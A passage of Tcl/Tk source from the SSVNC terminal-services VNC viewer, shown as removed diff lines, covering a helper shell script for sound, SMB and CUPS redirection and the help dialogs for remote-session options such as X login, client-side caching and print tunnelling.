- if [ "X$DO_SOUND_KILL" = "X1" ]; then
- echo "Stopping sound daemon: $sound_daemon_remote_prog $dpid"
- echo "sound cmd: $dcmd"
- kill -TERM $dpid
- fi
- fi
- echo "-----------------------------------------------------------------"
- echo
- }
-
- reset_sound() {
- if [ "X$DO_SOUND_RESTART" = "X1" ]; then
- d=$sound_daemon_remote_prog
- a=$sound_daemon_remote_args
- echo "Restaring sound daemon: $d $a"
- $d $a </dev/null >/dev/null 2>&1 &
- fi
- }
-
- soundwait() {
- trap "" INT QUIT HUP
- trap "reset_sound; rm -f $FLAG; exit" TERM
- wait_til_ssh_gone
- reset_sound
- }
-
-
- findpid
-
- if [ $DO_SMB = 1 ]; then
- do_smb_mounts
- fi
-
- waiter=0
-
- if [ $DO_CUPS = 1 ]; then
- update_client_conf
- cupswait </dev/null >/dev/null 2>/dev/null &
- waiter=1
- fi
-
- if [ $DO_SOUND = 1 ]; then
- setup_sound
- soundwait </dev/null >/dev/null 2>/dev/null &
- waiter=1
- fi
- if [ $DO_SMB_WAIT = 1 ]; then
- if [ $waiter != 1 ]; then
- smbwait </dev/null >/dev/null 2>/dev/null &
- waiter=1
- fi
- fi
-
-
- #FINMSG
- echo "--main-vnc-helper-finished--"
- #cat $0
- rm -f $0
- exit 0
-};
-
- set cmdall ""
-
- for {set i 1} {$i <= 7} {incr i} {
- set v $cmd($i);
- regsub -all "\n" $v "%" v
- regsub -all {.curlie.} $v "" v
- set cmd($i) $v
- append cmdall "echo "
- if {$i == 1} {
- append cmdall {TOPPID=$$ %}
- }
- append cmdall {'}
- append cmdall $cmd($i)
- append cmdall {' | tr '%' '\n'}
- if {$i == 1} {
- append cmdall {>}
- } else {
- append cmdall {>>}
- }
- append cmdall {$HOME/.vnc-helper-cmd__PID__; }
- }
- append cmdall {sh $HOME/.vnc-helper-cmd__PID__; }
-
- regsub -all {vnc-helper-cmd} $cmdall "vnc-helper-cmd-$mode" cmdall
- if {$tag == ""} {
- set tag [pid]
- }
- regsub -all {__PID__} $cmdall "$tag" cmdall
-
- set orig $cmdall
-
- global use_cups cups_local_server cups_remote_port cups_manage_rcfile ts_only ts_cups_manage_rcfile cups_x11vnc
- regsub -all {[ ]} $cups_local_server "" cups_local_server
- regsub -all {[ ]} $cups_remote_port "" cups_remote_port
- if {$use_cups} {
- set dorc 0
- if {$ts_only} {
- if {$ts_cups_manage_rcfile} {
- set dorc 1
- }
- } else {
- if {$cups_manage_rcfile} {
- set dorc 1
- }
- }
- if {$dorc && $mode == "post"} {
- if {$cups_local_server != "" && $cups_remote_port != ""} {
- regsub {DO_CUPS=0} $cmdall {DO_CUPS=1} cmdall
- regsub {cups_port=NNNN} $cmdall "cups_port=$cups_remote_port" cmdall
- }
- }
- }
-
- global use_smbmnt smb_su_mode smb_mounts
- if {$use_smbmnt} {
- if {$smb_mounts != ""} {
- set smbm $smb_mounts
- regsub -all {%USER} $smbm "__USER__" smbm
- regsub -all {%HOME} $smbm "__HOME__" smbm
- if {$mode == "pre"} {
- regsub {DO_SMB=0} $cmdall {DO_SMB=1} cmdall
- if {$smb_su_mode == "su"} {
- regsub {DO_SMB_SU=0} $cmdall {DO_SMB_SU=1} cmdall
- } elseif {$smb_su_mode == "sudo"} {
- regsub {DO_SMB_SU=0} $cmdall {DO_SMB_SU=2} cmdall
- } elseif {$smb_su_mode == "none"} {
- regsub {DO_SMB_SU=0} $cmdall {DO_SMB_SU=0} cmdall
- } else {
- regsub {DO_SMB_SU=0} $cmdall {DO_SMB_SU=1} cmdall
- }
- regsub {smb_mounts=} $cmdall "smb_mounts=\"$smbm\"" cmdall
- } elseif {$mode == "post"} {
- regsub {DO_SMB_WAIT=0} $cmdall {DO_SMB_WAIT=1} cmdall
- }
- }
- }
-
- global use_sound
- if {$use_sound} {
- if {$mode == "pre"} {
- global sound_daemon_remote_cmd sound_daemon_kill sound_daemon_restart
- if {$sound_daemon_kill} {
- regsub {DO_SOUND_KILL=0} $cmdall {DO_SOUND_KILL=1} cmdall
- regsub {DO_SOUND=0} $cmdall {DO_SOUND=1} cmdall
- }
- if {$sound_daemon_restart} {
- regsub {DO_SOUND_RESTART=0} $cmdall {DO_SOUND_RESTART=1} cmdall
- regsub {DO_SOUND=0} $cmdall {DO_SOUND=1} cmdall
- }
- set sp [string trim $sound_daemon_remote_cmd]
- regsub {[ \t].*$} $sp "" sp
- set sa [string trim $sound_daemon_remote_cmd]
- regsub {^[^ \t][^ \t]*[ \t][ \t]*} $sa "" sa
- regsub {sound_daemon_remote_prog=} $cmdall "sound_daemon_remote_prog=\"$sp\"" cmdall
- regsub {sound_daemon_remote_args=} $cmdall "sound_daemon_remote_args=\"$sa\"" cmdall
- }
- }
-
- if {$mode == "pre"} {
- set dopre 0
- if {$use_smbmnt && $smb_mounts != ""} {
- set dopre 1
- }
- if {$use_sound && $sound_daemon_kill} {
- set dopre 1
- }
- if {$dopre} {
- global is_windows
- if {$is_windows} {
- regsub {#FINMSG} $cmdall {echo "Now Go Click on the Label to Start the 2nd SSH"} cmdall
- } else {
- regsub {#FINMSG} $cmdall {echo "Finished with the 1st SSH tasks, the 2nd SSH should start shortly..."} cmdall
- }
- }
- }
-
- set cmdstr $cmdall
-
- if {"$orig" == "$cmdall"} {
- set cmdstr ""
- }
- global env
- if [info exists env(SSVNC_DEBUG_CUPS)] {
- regsub -all {db=0} $cmdstr "db=1" cmdstr
- set pout ""
- regsub -all {%} $cmdstr "\n" pout
- puts stderr "\nSERVICE REDIR COMMAND:\n\n$pout\n"
- }
- return $cmdstr
-}
-
-proc ts_unixpw_dialog {} {
-
- toplev .uxpw
- wm title .uxpw "Use unixpw"
-
- scroll_text .uxpw.f 80 14
-
- global ts_unixpw
-
- set msg {
- This enables the x11vnc unixpw mode. A Login: and Password: dialog
- will be presented in the VNC Viewer for the user to provide any Unix
- username and password whose session he wants to connect to. So this
- may require typing in the password a 2nd time after the one for SSH.
-
- This mode is useful if a shared terminal services user (e.g. 'tsuser')
- is used for the SSH login part (say via the SSH authorized_keys
- mechanism and all users share the same private SSH key for 'tsuser').
-
- Note, However that the default usage of a per-user SSH login should
- be the simplest and also sufficient for most situations, in which
- case this "Use unixpw" option should NOT be selected.
-}
- .uxpw.f.t insert end $msg
-
- button .uxpw.cancel -text "Cancel" -command {destroy .uxpw; set ts_unixpw 0}
- bind .uxpw <Escape> {destroy .uxpw; set ts_unixpw 0}
- wm protocol .uxpw WM_DELETE_WINDOW {destroy .uxpw; set ts_unixpw 0}
-
- button .uxpw.done -text "Done" -command {destroy .uxpw; set ts_unixpw 1}
-
- pack .uxpw.done .uxpw.cancel -side bottom -fill x
- pack .uxpw.f -side top -fill both -expand 1
-
- center_win .uxpw
-}
-
-proc ts_vncshared_dialog {} {
-
- toplev .vncs
- wm title .vncs "VNC Shared"
-
- scroll_text .vncs.f 80 23
-
- global ts_vncshared
-
- set msg {
- Normal use of this program, 'tsvnc', *ALREADY* allows simultaneous
- shared access of the remote desktop: You simply log in as many
- times from as many different locations with 'tsvnc' as you like.
-
- However, doing it that way starts up a new x11vnc for each connection.
- In some circumstances you may want a single x11vnc running but allow
- multiple VNC viewers to access it simultaneously.
-
- This option (VNC Shared) enables that rarer usage case by passing
- '-shared' to the remote x11vnc command.
-
- With this option enabled, the new shared connections must
- still connect to the Terminal Server via SSH for encryption and
- authentication. They must also do the normal SSH port redirection
- to access the x11vnc port (usually 5900, but look for the PORT=
- output for the actual value).
-
- They could use SSVNC for that, or do it manually in terminal
- windows, more information:
-
- http://www.karlrunge.com/x11vnc/#tunnelling
-}
- .vncs.f.t insert end $msg
-
- button .vncs.cancel -text "Cancel" -command {destroy .vncs; set ts_vncshared 0}
- bind .vncs <Escape> {destroy .vncs; set ts_vncshared 0}
- wm protocol .vncs WM_DELETE_WINDOW {destroy .vncs; set ts_vncshared 0}
- button .vncs.done -text "Done" -command {destroy .vncs; set ts_vncshared 1}
-
- pack .vncs.done .vncs.cancel -side bottom -fill x
- pack .vncs.f -side top -fill both -expand 1
-
- center_win .vncs
-}
-
-proc ts_multi_dialog {} {
-
- toplev .mult
- wm title .mult "Multiple Sessions"
-
- scroll_text .mult.f 80 21
-
- global ts_multisession choose_multisession
-
- set msg {
- Normally in Terminal Services mode (tsvnc) your user account (the
- one you SSH in as) can only have a single Terminal Services X session
- running at a time on one server machine.
-
- This is simply because x11vnc chooses the first Desktop (X session)
- of yours that it can find. It will never create a 2nd X session
- because it keeps finding the 1st one.
-
- To have Multiple Sessions for one username on a single machine,
- choose a unique Session "Tag", that will be associated with the X
- session and x11vnc will only choose the one that has this Tag.
-
- For this to work ALL of your sessions on the server machine must
- have a different tag (that is, if you have an existing session with
- no tag, x11vnc might find a tagged one first instead of it).
-
- The tag must be made of only letters, numbers, dash, or underscore.
-
- Examples: KDE_SMALL, gnome-2, test1
-}
- .mult.f.t insert end $msg
-
- frame .mult.c
- label .mult.c.l -anchor w -text "Tag:"
- entry .mult.c.e -width 20 -textvariable ts_multisession
- pack .mult.c.l -side left
- pack .mult.c.e -side left -expand 1 -fill x
-
- button .mult.cancel -text "Cancel" -command {destroy .mult; set choose_multisession 0}
- bind .mult <Escape> {destroy .mult; set choose_multisession 0}
- wm protocol .mult WM_DELETE_WINDOW {destroy .mult; set choose_multisession 0}
-
- bind .mult.c.e <Return> {destroy .mult; set choose_multisession 1}
- button .mult.done -text "Done" -command {destroy .mult; set choose_multisession 1}
-
- pack .mult.done .mult.cancel .mult.c -side bottom -fill x
- pack .mult.f -side top -fill both -expand 1
-
- center_win .mult
- focus .mult.c.e
-}
-
-proc ts_xlogin_dialog {} {
-
- toplev .xlog
- wm title .xlog "X Login Greeter"
-
- set h 33
- if [small_height] {
- set h 28
- }
- scroll_text .xlog.f 80 $h
-
- global ts_xlogin
-
- set msg {
- If you have root (sudo(1)) permission on the remote machine, you
- can have x11vnc try to connect to a X display(s) that has No One
- Logged In Yet. This is most likely the login greeter running on
- the Physical console. sudo(1) is used to run x11vnc with FD_XDM=1.
-
- This is different from tsvnc's regular Terminal Services mode where
- usually a virtual (RAM only, e.g. Xvfb) X server used. With this option
- it is the physical graphics hardware that will be connected to.
-
- Note that if your user is ALREADY logged into the physical display,
- you don't need to use this X Login option because x11vnc should find
- it in its normal find-display procedure and not need sudo(1).
-
- An initial ssh running 'sudo id' is performed to try to 'prime'
- sudo so the 2nd one that runs x11vnc does not need a password.
- This may not always succeed...
-
- Note that if someone is already logged into the display console
- via XDM (GDM, KDM etc.) you will see and control their X session.
-
- Otherwise, you will get the Greeter X login screen where you can
- log in via username and password. Your SSVNC 'Terminal Services'
- Desktop Type, Size, Printing etc. settings will be ignored in this
- case of course because XDM, GDM, or KDM is creating your X session,
- not x11vnc.
-
- Note that the GDM display manager has a setting KillInitClients in
- gdm.conf that will kill x11vnc right after you log in, and so you would
- have to repeat the whole process ('Connect' button) to attach to your
- session. See http://www.karlrunge.com/x11vnc/faq.html#faq-display-manager
- for more info.
-}
- .xlog.f.t insert end $msg
-
- button .xlog.cancel -text "Cancel" -command {destroy .xlog; set ts_xlogin 0}
- bind .xlog <Escape> {destroy .xlog; set ts_xlogin 0}
- wm protocol .xlog WM_DELETE_WINDOW {destroy .xlog; set ts_xlogin 0}
-
- button .xlog.done -text "Done" -command {destroy .xlog; set ts_xlogin 1}
-
- pack .xlog.done .xlog.cancel -side bottom -fill x
- pack .xlog.f -side top -fill both -expand 1
-
- center_win .xlog
-}
-
-
-proc ts_othervnc_dialog {} {
-
- toplev .ovnc
- wm title .ovnc "Other VNC Server"
-
- scroll_text .ovnc.f 80 21
-
- global ts_othervnc choose_othervnc
-
- set msg {
- The x11vnc program running on the remote machine can be instructed to
- immediately redirect to some other (3rd party, e.g. Xvnc or vnc.so)
- VNC server.
-
- It should be a little faster to have x11vnc forward the VNC protocol
- rather than having it poll the corresponding X server for changes
- in the way it normally does and translate to VNC.
-
- This mode also enables a simple way to add SSL or find X display
- support to a 3rd party VNC Server lacking these features.
-
- In the entry box put the other vnc display, e.g. "localhost:0" or
- "somehost:5".
-
- The string "find" in the entry will have x11vnc try to find an X
- display in its normal way, and then redirect to the corresponding VNC
- server port. This assumes if the X display is, say, :2 (i.e. port
- 6002) then the VNC display is also :2 (i.e. port 5902). This mode is
- the same as an "X Server Type" of "Xvnc.redirect" (and overrides it).
-}
- .ovnc.f.t insert end $msg
-
- frame .ovnc.c
- label .ovnc.c.l -anchor w -text "Other VNC Server:"
- entry .ovnc.c.e -width 20 -textvariable ts_othervnc
- pack .ovnc.c.l -side left
- pack .ovnc.c.e -side left -expand 1 -fill x
-
- button .ovnc.cancel -text "Cancel" -command {destroy .ovnc; set choose_othervnc 0}
- bind .ovnc <Escape> {destroy .ovnc; set choose_othervnc 0}
- wm protocol .ovnc WM_DELETE_WINDOW {destroy .ovnc; set choose_othervnc 0}
- button .ovnc.done -text "Done" -command {destroy .ovnc; set choose_othervnc 1}
- bind .ovnc.c.e <Return> {destroy .ovnc; set choose_othervnc 1}
-
- if {$ts_othervnc == ""} {
- set ts_othervnc "find"
- }
-
- pack .ovnc.done .ovnc.cancel .ovnc.c -side bottom -fill x
- pack .ovnc.f -side top -fill both -expand 1
-
- center_win .ovnc
- focus .ovnc.c.e
-}
-
-proc ts_sleep_dialog {} {
-
- toplev .eslp
- wm title .eslp "Extra Sleep"
-
- scroll_text .eslp.f 80 5
-
- global extra_sleep
-
- set msg {
- Sleep: Enter a number to indicate how many extra seconds to sleep
- while waiting for the VNC viewer to start up. On Windows this
- can give extra time to enter the Putty/Plink password, etc.
-}
- .eslp.f.t insert end $msg
-
- frame .eslp.c
- label .eslp.c.l -anchor w -text "Extra Sleep:"
- entry .eslp.c.e -width 20 -textvariable extra_sleep
- pack .eslp.c.l -side left
- pack .eslp.c.e -side left -expand 1 -fill x
-
- button .eslp.cancel -text "Cancel" -command {destroy .eslp; set choose_sleep 0}
- bind .eslp <Escape> {destroy .eslp; set choose_sleep 0}
- wm protocol .eslp WM_DELETE_WINDOW {destroy .eslp; set choose_sleep 0}
- button .eslp.done -text "Done" -command {destroy .eslp; set choose_sleep 1}
- bind .eslp.c.e <Return> {destroy .eslp; set choose_sleep 1}
-
- global choose_sleep
- if {! $choose_sleep} {
- set extra_sleep ""
- }
-
- pack .eslp.done .eslp.cancel .eslp.c -side bottom -fill x
- pack .eslp.f -side top -fill both -expand 1
-
- center_win .eslp
- focus .eslp.c.e
-}
-
-proc ts_putty_args_dialog {} {
-
- toplev .parg
- wm title .parg "Putty Args"
-
- scroll_text .parg.f 80 5
-
- global putty_args
-
- set msg {
- Putty Args: Enter a string to be added to every plink.exe and putty.exe
- command line. For example: -i C:\mykey.ppk
-}
- .parg.f.t insert end $msg
-
- frame .parg.c
- label .parg.c.l -anchor w -text "Putty Args:"
- entry .parg.c.e -width 20 -textvariable putty_args
- pack .parg.c.l -side left
- pack .parg.c.e -side left -expand 1 -fill x
-
- button .parg.cancel -text "Cancel" -command {destroy .parg; set choose_parg 0}
- bind .parg <Escape> {destroy .parg; set choose_parg 0}
- wm protocol .parg WM_DELETE_WINDOW {destroy .parg; set choose_parg 0}
- button .parg.done -text "Done" -command {destroy .parg; set choose_parg 1}
- bind .parg.c.e <Return> {destroy .parg; set choose_parg 1}
-
- global choose_parg
- if {! $choose_parg} {
- set putty_args ""
- }
-
- pack .parg.done .parg.cancel .parg.c -side bottom -fill x
- pack .parg.f -side top -fill both -expand 1
-
- center_win .parg
- focus .parg.c.e
-}
-
-proc ts_ncache_dialog {} {
-
- toplev .nche
- wm title .nche "Client-Side Caching"
-
- scroll_text .nche.f 80 22
-
- global ts_ncache choose_ncache
-
- set msg {
- This enables the *experimental* x11vnc client-side caching mode.
- It often gives nice speedups, but can sometimes lead to painting
- errors or window "flashing". (you can repaint the screen by tapping
- the Left Alt key 3 times in a row)
-
- It is a very simple but hoggy method: uncompressed image pixmaps are
- stored in the viewer in a large (20-100MB) display region beneath
- the actual display screen. You may need also to adjust your VNC Viewer
- to not show this region (the SSVNC Unix viewer does it automatically).
-
- The scheme uses a lot of RAM, but at least it has the advantage that
- it works with every VNC Viewer. Otherwise the VNC protocol would
- need to be modified, changing both the server and the viewer.
-
- Set the x11vnc "-ncache" parameter to an even integer between 2
- and 20. This is the increase in area factor over the normal screen
- for the caching region. So 10 means use 10 times the RAM to store
- pixmaps. The default is 8.
-
- More info: http://www.karlrunge.com/x11vnc/faq.html#faq-client-caching
-}
- .nche.f.t insert end $msg
-
- frame .nche.c
- label .nche.c.l -anchor w -text "ncache:"
- radiobutton .nche.c.r2 -text "2" -variable ts_ncache -value "2"
- radiobutton .nche.c.r4 -text "4" -variable ts_ncache -value "4"
- radiobutton .nche.c.r6 -text "6" -variable ts_ncache -value "6"
- radiobutton .nche.c.r8 -text "8" -variable ts_ncache -value "8"
- radiobutton .nche.c.r10 -text "10" -variable ts_ncache -value "10"
- radiobutton .nche.c.r12 -text "12" -variable ts_ncache -value "12"
- radiobutton .nche.c.r14 -text "14" -variable ts_ncache -value "14"
- radiobutton .nche.c.r16 -text "16" -variable ts_ncache -value "16"
- radiobutton .nche.c.r18 -text "18" -variable ts_ncache -value "18"
- radiobutton .nche.c.r20 -text "20" -variable ts_ncache -value "20"
- pack .nche.c.l -side left
- pack .nche.c.r2 .nche.c.r4 .nche.c.r6 .nche.c.r8 .nche.c.r10 \
- .nche.c.r12 .nche.c.r14 .nche.c.r16 .nche.c.r18 .nche.c.r20 -side left
- button .nche.cancel -text "Cancel" -command {destroy .nche; set choose_ncache 0}
- bind .nche <Escape> {destroy .nche; set choose_ncache 0}
- wm protocol .nche WM_DELETE_WINDOW {destroy .nche; set choose_ncache 0}
- button .nche.done -text "Done" -command {destroy .nche; set choose_ncache 1}
-
- pack .nche.done .nche.cancel .nche.c -side bottom -fill x
- pack .nche.f -side top -fill both -expand 1
-
- center_win .nche
-}
-
-proc ts_x11vnc_opts_dialog {} {
-
- toplev .x11v
- wm title .x11v "x11vnc Options"
-
- set h 23
- if [small_height] {
- set h 21
- }
- scroll_text .x11v.f 80 $h
-
- global ts_x11vnc_opts ts_x11vnc_path ts_x11vnc_autoport choose_x11vnc_opts
- global additional_port_redirs_list
-
- set msg {
- If you are an expert with x11vnc's endless options and tweaking
- parameters feel free to specify any you want here in "Options".
-
- Also, if you need to specify the path to the x11vnc program on the
- remote side because it will not be in $PATH, put it in the "Full
- Path" entry.
-
- Port Redirs are additional SSH "-L port:host:port" or "-R port:host:port"
- (forward or reverse, resp.) port redirections you want. In SSVNC mode,
- see the detailed description under: Options -> Advanced -> Port Redirs.
-
- Some potentially useful options:
-
- -solid -scale -scale_cursor
- -passwd -rfbauth -http
- -xrandr -rotate -noxdamage
- -xkb -skip_lockkeys -nomodtweak
- -repeat -cursor -wmdt
- -nowireframe -ncache_cr -speeds
-
- More info: http://www.karlrunge.com/x11vnc/faq.html#faq-cmdline-opts
-}
-# In Auto Port put a starting port for x11vnc to try autoprobing
-# instead of the default 5900. It starts at the value you supply and
-# works upward until a free one is found. (x11vnc 0.9.3 or later).
-
- .x11v.f.t insert end $msg
-
- frame .x11v.c
- label .x11v.c.l -width 10 -anchor w -text "Options:"
- entry .x11v.c.e -textvariable ts_x11vnc_opts
- pack .x11v.c.l -side left
- pack .x11v.c.e -side left -expand 1 -fill x
-
- frame .x11v.c2
- label .x11v.c2.l -width 10 -anchor w -text "Full Path:"
- entry .x11v.c2.e -textvariable ts_x11vnc_path
- pack .x11v.c2.l -side left
- pack .x11v.c2.e -side left -expand 1 -fill x
-
-# frame .x11v.c3
-# label .x11v.c3.l -width 10 -anchor w -text "Auto Port:"
-# entry .x11v.c3.e -textvariable ts_x11vnc_autoport
-# pack .x11v.c3.l -side left
-# pack .x11v.c3.e -side left -expand 1 -fill x
-
- frame .x11v.c4
- label .x11v.c4.l -width 10 -anchor w -text "Port Redirs:"
- entry .x11v.c4.e -textvariable additional_port_redirs_list
- pack .x11v.c4.l -side left
- pack .x11v.c4.e -side left -expand 1 -fill x
-
- button .x11v.cancel -text "Cancel" -command {destroy .x11v; set choose_x11vnc_opts 0}
- bind .x11v <Escape> {destroy .x11v; set choose_x11vnc_opts 0}
- wm protocol .x11v WM_DELETE_WINDOW {destroy .x11v; set choose_x11vnc_opts 0}
- button .x11v.done -text "Done" -command {destroy .x11v; set choose_x11vnc_opts 1;
- if {$additional_port_redirs_list != ""} {set additional_port_redirs 1} else {set additional_port_redirs 0}}
-
-# pack .x11v.done .x11v.cancel .x11v.c4 .x11v.c3 .x11v.c2 .x11v.c -side bottom -fill x
- pack .x11v.done .x11v.cancel .x11v.c4 .x11v.c2 .x11v.c -side bottom -fill x
- pack .x11v.f -side top -fill both -expand 1
-
- center_win .x11v
- focus .x11v.c.e
-}
-
-
-proc ts_filexfer_dialog {} {
-
- toplev .xfer
- wm title .xfer "File Transfer"
- global choose_filexfer ts_filexfer
-
- scroll_text .xfer.f 70 13
-
- set msg {
- x11vnc supports both the UltraVNC and TightVNC file transfer
- extensions. On Windows both viewers support their file transfer
- protocol. On Unix only the SSVNC VNC Viewer can do filexfer; it
- supports the UltraVNC flavor via a Java helper program (and so
- java(1) is required on the viewer-side).
-
- Choose the one you want based on VNC viewer you will use.
- The defaults for the SSVNC viewer package are TightVNC on
- Windows and UltraVNC on Unix.
-
- For more info see: http://www.karlrunge.com/x11vnc/faq.html#faq-filexfer
-}
- .xfer.f.t insert end $msg
-
- global is_windows
- if {$ts_filexfer == ""} {
- if {$is_windows} {
- set ts_filexfer "tight"
- } else {
- set ts_filexfer "ultra"
- }
- }
-
- frame .xfer.c
- radiobutton .xfer.c.tight -text "TightVNC" -variable ts_filexfer -value "tight" -relief ridge
- radiobutton .xfer.c.ultra -text "UltraVNC" -variable ts_filexfer -value "ultra" -relief ridge
-
- pack .xfer.c.ultra .xfer.c.tight -side left -fill x -expand 1
-
- button .xfer.cancel -text "Cancel" -command {destroy .xfer; set choose_filexfer 0}
- bind .xfer <Escape> {destroy .xfer; set choose_filexfer 0}
- wm protocol .xfer WM_DELETE_WINDOW {destroy .xfer; set choose_filexfer 0}
- button .xfer.done -text "Done" -command {destroy .xfer; set choose_filexfer 1}
-
- pack .xfer.done .xfer.cancel -side bottom -fill x
- pack .xfer.c -side bottom -fill x -expand 1
- pack .xfer.f -side top -fill both -expand 1
-
- center_win .xfer
-}
-
-proc ts_cups_dialog {} {
-
- toplev .cups
- wm title .cups "CUPS and SMB Printing"
- global cups_local_server cups_remote_port cups_manage_rcfile ts_cups_manage_rcfile cups_x11vnc
- global cups_local_smb_server cups_remote_smb_port
-
- set h 30
- if [small_height] {
- set h 24
- }
- scroll_text .cups.f 80 $h
-
-
- set msg {
- This method requires a working CUPS Desktop setup on the remote side
- of the connection and working CUPS (or possibly Windows SMB or IPP)
- printing on the local viewer-side of the connection.
-
- For CUPS printing redirection to work properly, you MUST enable it for
- the connection that *creates* your terminal services X session (i.e. the
- first connection.) You cannot retroactively enable CUPS redirection
- on an already existing terminal services X session. (See CUPS printing
- for normal SSVNC mode for how you might do that.)
-
- Enter the VNC Viewer side (i.e. where you are sitting) CUPS server
- under "Local CUPS Server". Use "localhost:631" if there is one
- on your viewer machine (normally the case if you set up a printer
- on your unix or macosx system), or, e.g., "my-print-srv:631" for a
- nearby CUPS print server. Note that 631 is the default CUPS port.
-
- (On MacOSX it seems better to use "127.0.0.1" instead of "localhost".)
-
- The SSVNC Terminal Services created remote Desktop session will have
- the variables CUPS_SERVER and IPP_PORT set so all printing applications
- will be redirected to your local CUPS server. So your locally available
- printers should appear in the remote print dialogs.
-
-
- Windows/SMB Printers: Under "Local SMB Print Server" you can set a
- port redirection for a Windows (non-CUPS) SMB printer. If localhost:139
- does not work, try the literal string "IP:139", or use the known value
- of the IP address manually. 139 is the default SMB port; nowadays 445
- might be a better possibility.
-
- For Windows/SMB Printers if there is no local CUPS print server, it is
- usually a very good idea to make the CUPS Server setting EMPTY (to avoid
- desktop apps trying incessantly to reach the nonexistent CUPS server.)
-
- On the remote side, in the Desktop session the variables $SMB_SERVER,
- $SMB_HOST, and $SMB_PORT will be set for you to use.
-
- Unfortunately, printing to Windows may only ve partially functional due
- to the general lack PostScript support on Windows.
-
- If you have print admin permission on the remote machine you can
- configure CUPS to know about your Windows printer via lpadmin(8) or
- a GUI tool. You give it the URI:
-
- smb://localhost:port/printername
-
- or possibly:
-
- smb://localhost:port/computer/printername
-
- "port" will be found in the $SMB_PORT. You also need to identify
- the printer type. NOTE: You will leave "Local CUPS Server" blank in
- this case. The smbspool(1) command should also work as well, at least
- for PostScript printers.
-
- A similar thing can be done with CUPS printers if you are having problems
- with the above default mechanism. Use
-
- http://localhost:port/printers/printername
-
- For more info see: http://www.karlrunge.com/x11vnc/faq.html#faq-cups
-}
-
-# The "Manage 'ServerName' in .cups/client.conf for me" setting is usually
-# NOT needed unless you are using Terminal Services to connect to an
-# existing Session that did NOT have CUPS print redirection set at session
-# start time (i.e. IPP_PORT and CUPS_SERVER were not set up). In that
-# case, select this option as a workaround: NOTE that the client.conf
-# setting will REDIRECT ALL PRINTING for apps with the same $HOME/.cups
-# directory (which you probably do not want), however it will be reset
-# when the SSVNC viewer disconnects.
-
- .cups.f.t insert end $msg
-
- global uname
- if {$cups_local_server == ""} {
- if {$uname == "Darwin"} {
- set cups_local_server "127.0.0.1:631"
- } else {
- set cups_local_server "localhost:631"
- }
- }
- if {$cups_remote_port == ""} {
- set cups_remote_port [expr "6731 + int(1000 * rand())"]
- }
- if {$cups_local_smb_server == ""} {
- global is_windows
- if {$is_windows} {
- set cups_local_smb_server "IP:139"
- } elseif {$uname == "Darwin"} {
- set cups_local_smb_server "127.0.0.1:139"
- } else {
- set cups_local_smb_server "localhost:139"
- }
- }
- if {$cups_remote_smb_port == ""} {
- set cups_remote_smb_port [expr "7731 + int(1000 * rand())"]
- }
-
- frame .cups.serv
- label .cups.serv.l -anchor w -text "Local CUPS Server: "
- entry .cups.serv.e -width 40 -textvariable cups_local_server
- pack .cups.serv.e -side right
- pack .cups.serv.l -side left -expand 1 -fill x
-
- frame .cups.smbs
- label .cups.smbs.l -anchor w -text "Local SMB Print Server: "
- entry .cups.smbs.e -width 40 -textvariable cups_local_smb_server
- pack .cups.smbs.e -side right
- pack .cups.smbs.l -side left -expand 1 -fill x
-
- # not working with x11vnc:
- checkbutton .cups.cupsrc -anchor w -variable ts_cups_manage_rcfile -text \
- "Manage 'ServerName' in the remote \$HOME/.cups/client.conf file for me"
-
- button .cups.cancel -text "Cancel" -command {destroy .cups; set use_cups 0}
- bind .cups <Escape> {destroy .cups; set use_cups 0}
- wm protocol .cups WM_DELETE_WINDOW {destroy .cups; set use_cups 0}
- button .cups.done -text "Done" -command {destroy .cups; if {$use_cups} {set_ssh}}
-
- pack .cups.done .cups.cancel .cups.smbs .cups.serv -side bottom -fill x
- pack .cups.f -side top -fill both -expand 1
-
- center_win .cups
- focus .cups.serv.e
-}
-
-
-proc cups_dialog {} {
-
- toplev .cups
- wm title .cups "CUPS Tunnelling"
- global cups_local_server cups_remote_port cups_manage_rcfile cups_x11vnc
- global cups_local_smb_server cups_remote_smb_port
- global ts_only
- if {$ts_only} {
- ts_cups_dialog
- return
- }
-
- global uname
- set h 33
- if [small_height] {
- set h 17
- } elseif {$uname == "Darwin"} {
- set h 24
- }
- scroll_text .cups.f 80 $h
-
-
- set msg {
- CUPS Printing requires SSH be used to set up the CUPS Print service TCP
- port redirection. This will be either of the "Use SSH" or "SSH+SSL" modes.
- NOTE: For pure SSL tunnelling it currently will not work.
-
- This method requires working CUPS software setups on BOTH the remote
- and local sides of the connection.
-
- If the remote VNC server is Windows you probably cannot SSH into it
- anyway... If you can, you will still need to set up a special printer
- TCP port redirection on your own. Perhaps adding and configuring a
- "Unix Printer" under Windows (like Method #2 below) will work.
-
- If the local machine (SSVNC side) is Windows, see the bottom of this
- help for redirecting to SMB printers.
-
- If the remote VNC server is Mac OS X this method may or may not work.
- Sometimes applications need to be restarted to get them to notice the
- new printers. Adding and configuring a special "Unix Printer",
- (Method #2) below, might yield more reliable results at the cost of
- additional setup and permissions.
-
- For Unix/Linux remote VNC servers, applications may also need to be
- restarted to notice the new printers. The only case known to work
- well is the one where the remote side has no CUPS printers configured.
- As mentioned above, see Method #2 for another method.
-
- *************************************************************************
- *** Directions:
-
- You choose your own remote CUPS redir port below under "Use Remote
- CUPS Port". 6631 is our default and is used in the examples below.
- Use it or some random value greater than 1024. Note that the standard
- CUPS server port is 631.
-
- The port you choose must be unused on the VNC server machine (it is NOT
- checked for you). Print requests connecting to it are redirected to
- your local VNC viewer-side CUPS server through the SSH tunnel.
-
- (Note: root SSH login permission is needed for ports less than 1024,
- e.g. 631; this is not recommended, use something around 6631 instead).
-
- Then enter the VNC Viewer side (i.e. where you are sitting) CUPS server
- into "Local CUPS Server". A good choice is the default "localhost:631"
- if there is a cups server on your viewer machine (this is usually the case
- if you have set up a printer). Otherwise enter, e.g., "my-print-srv:631"
- for your nearby (viewer-side) CUPS print server.
-
-
- The "Manage 'ServerName' in the $HOME/.cups/client.conf file for me"
- setting below is enabled by default. It should handle most situations.
-
- What it does is modify the .cups/client.conf file on the VNC server-side
- to redirect the print requests while the SSVNC viewer is connected. When
- SSVNC disconnects .cups/client.conf is restored to its previous setting.
-
- If, for some reason, the SSVNC CUPS script fails to restore this file
- after SSVNC disconnects, run this command on the remote machine:
-
- cp $HOME/.cups/client.conf.back $HOME/.cups/client.conf
-
- to regain your initial printing configuration.
-
-
- You can also use CUPS on the VNC server-side to redirect to Windows
- (SMB) printers. See the additional info for Windows Printing at the
- bottom of this help.
-
-
- In case the default method (automatic .cups/client.conf modification)
- fails, we describe below all of the possible methods that can be tried.
-
